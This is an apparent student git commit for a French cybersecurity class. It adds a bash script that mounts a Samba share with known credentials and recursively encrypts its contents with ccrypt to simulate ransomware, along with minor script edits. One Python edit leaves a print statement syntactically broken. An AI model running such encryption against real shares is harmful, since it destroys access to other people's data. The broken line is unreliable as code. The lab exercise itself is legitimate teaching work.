Ajout des fichiers de la séance de Cyber sur une simulation de ransomware, sur partage Samba, et modification de scripts Python.

This commit is contained in:
Guillaume Emorine 2024-11-04 11:58:21 +01:00
parent e113c968e8
commit d0a6791cad
5 changed files with 39 additions and 3 deletions

View File

@ -24,7 +24,7 @@ else
echo "Commit en cours..."
sleep 1
git commit
git tag -l "v.0*" --sort="-v:refname"
git tag -l "v.*" --sort="-v:refname"
echo "Entrez la version du tag: (Le plus récent est en haut)"
read tag
git tag $tag

View File

@ -0,0 +1,2 @@
Dossier avec le script utilisé pour simuler une attaque de ransomware sur un partage Samba accessible en écriture, avec un mot de passe et nom d'utilisateur connus.
Les arguments passés après le nom du script sont utilisés plus tard et sont nécessaires.

View File

@ -0,0 +1,34 @@
#!/bin/bash
# déclaration des variables
chemin=$1
cred=$2
action=$3
ficcle=$4
# récup du mot de passe et nom d'utilisateur
user=$(echo $cred| cut -d "/" -f1)
pass=$(echo $cred| cut -d "/" -f2)
# créa du répertoire et on monte dessus
[[ -e /mnt/samba ]] || mkdir /mnt/samba
mount.cifs -o "username=$user,password=$pass" "//${chemin}" /mnt/samba
# vérification d'erreurs
if [[ $? != 0 ]] ; then
rmdir /mnt/samba
exit 1
fi
# la commande ccrypt
ccrypt "$action" -r -k $ficcle /mnt/samba
# vérification d'erreurs
if [[ $? != 0 ]] ; then
echo "ccrypt échoué, revérifie le script."
exit 1
fi
# nettoyage et sortie, code 0
umount /mnt/samba
rmdir /mnt/samba
exit 0

View File

@ -21,6 +21,6 @@ def main(filename):
print(f"Erreur lors de la lecture du fichier {filename}: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python creatusr.py <nom_du_fichier>")
print("Usage: python3 createusers.py <nom_du_fichier>")
else:
main(sys.argv[1])

View File

@ -14,5 +14,5 @@ for mot in mots:
# Afficher les mots et leurs occurrences
print("Occurrences des mots :")
for mot, count in occurrences.items():
print(f"{mot} : {count}"
print(f"{mot} : {count})"